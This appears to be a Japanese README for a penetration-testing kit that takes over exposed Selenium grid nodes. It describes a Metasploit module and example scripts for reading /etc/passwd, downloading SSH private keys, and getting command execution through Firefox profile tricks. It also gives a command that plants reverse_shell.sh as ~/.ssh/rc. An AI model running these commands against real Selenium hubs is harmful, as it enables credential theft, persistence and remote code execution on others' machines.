
Seleniumノードの乗っ取りを支援する可能性のあるSeleniumテストのコレクション
このプロジェクトは移転しました。最新版を入手するには、https://codeberg.org/JonStratton/selenium-node-takeover-kit から pull してください。
これは、以下の例の一部を組み合わせて、Selenium ノードへのファイルのアップロード、Selenium ノードからのファイルのダウンロード、およびコードの実行(“COMMAND_TYPE” パラメータ経由)を行います。RCE は現在 Linux でのみ動作します。インストールするには、これを "~/.msf4/modules/exploits/multi/http/" などにコピーしてください。
これは単純に "file:" URL にアクセスし、ページの内容をダンプします。
examples/selenium_node_cat.py -h http://selenium-hub.lan:4444/wd/hub -r /etc/passwdこれはインライン HTML を使用して、ファイルアップロード入力欄を持つインラインフォームを作成します。次に、ローカルファイルのパスをこのフォームに送信します。このフォーム内の Java-script は、この base64 エンコードされたファイルを同じページに埋め込みます。その後、スクリプトがこれを読み取ってデコードし、ローカルファイルに保存します。
examples/selenium_node_download.py -h http://selenium-hub.lan:4444/wd/hub -r ~/.ssh/id_rsa -l ./nodes_rsaNode ダウンロードスクリプトと似ていますが、Java-script でのファイル処理は行いません。ファイルが存在しない場合、スクリプトの send_keys() が例外をスローします。
Firefox のみ。Firefox プロファイル(Selenium API リクエストに埋め込まれた base64 エンコードされた zip ファイルにすぎません)を使用して、カスタムハンドラ(この場合は "application/sh" を /bin/sh に)を作成します。次に、いくつかのシェルコマンドを base64 エンコードし、インラインの "data:" を使用して "application/sh" に関連付けられたコマンドを渡します。Firefox はコマンドを含む一時ファイルを作成し、sh で実行します。
Firefox のみ。Firefox プロファイルを使用して、カスタムのダウンロードディレクトリを設定し、「名前を付けて保存」プロンプトを無効にします。次に、アップロードするエンコードされたファイルである埋め込み "data:" リンクを含むインライン HTML にアクセスします。その後、このリンクをクリックします。
examples/selenium_node_upload.py -h http://selenium-hub.lan:4444/wd/hub -r ~/.ssh/rc -l ./reverse_shell.shFirefox のみ。安全に解凍されない Firefox プロファイルを使用して、ノードのファイルシステムにファイルを書き込みます。